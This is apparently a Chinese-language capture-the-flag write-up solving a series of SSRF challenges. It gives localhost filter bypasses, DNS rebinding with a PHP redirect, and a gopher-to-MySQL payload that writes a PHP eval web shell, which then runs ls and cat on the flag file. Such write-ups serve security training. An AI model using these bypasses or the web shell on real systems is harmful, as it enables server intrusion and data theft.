web351,web352
直接传127.0.0.1/flag.php就可以
web353
可以用http://127.1/flag.php绕过
或http://0/flag.php
IPv4 地址本质上是 4 个字节,转成十进制整数时,就是把这 4 个字节按 256 进制展开
所以可以把127.0.0.1转为10进制整数2130706433实现过滤
转换函数如下
def ip_int(addr: str) -> int:
res = 0
for i in addr.split(“.”):
res = res * 256 + int(i, 10)
return res
web354
DNS解析绕过,常见解析到127.0.0.1的有
lvh.me
localtest.me
web355
http://0/flag.php 或 http://127.1/flag.php
web356
http://0/flag.php
web357
DNS Rebinding攻击
找到一个网站https://lock.cmpxchg8b.com/rebinder.html

第一次解析到154.64.254.81
第二次file_get_contents解析到127.0.0.1
也可以用自己的服务器
然后在demo.php里写入
<?php
header(“Location: http://127.0.0.1/flag.php”, true, 302);
exit;
第一次解析的是自己服务器的ip
第二次302跳转到127.0.0.1
web358
url=http://ctf.@127.0.0.1/flag.php#show
URL 里除了正常域名,还有 userinfo 语法
http://用户名:密码@主机/
或者简化成:
http://用户名@主机/
#代表锚点,给客户端自己定位页面内部位置用的,不会发给服务器,实际访问的就是127.0.0.1/flag.php
web359
随便输入用户名和密码,跳转到check.php
页面没有回显,看了一下请求头

发现有给returl,结合题目提示打无密码的mysql,尝试用gopher协议,gopher://IP:PORT/_原始数据(gopher允许我们指定 ip ,端口,直接发送TCP)
指令如下
python2 gopherus.py –exploit mysql
用户名输入root
内容填一句话木马select “<?php @eval($_POST[‘cmd’]);?>” into outfile ‘/var/www/html/1.php’;
但内容还要再url编码一次,防止数据中的某些符号破坏结构
然后访问1.php 传cmd=system(‘ls /’);
看到flag.txt,于是再传cmd=system(‘cat /flag.txt’);
得到flag

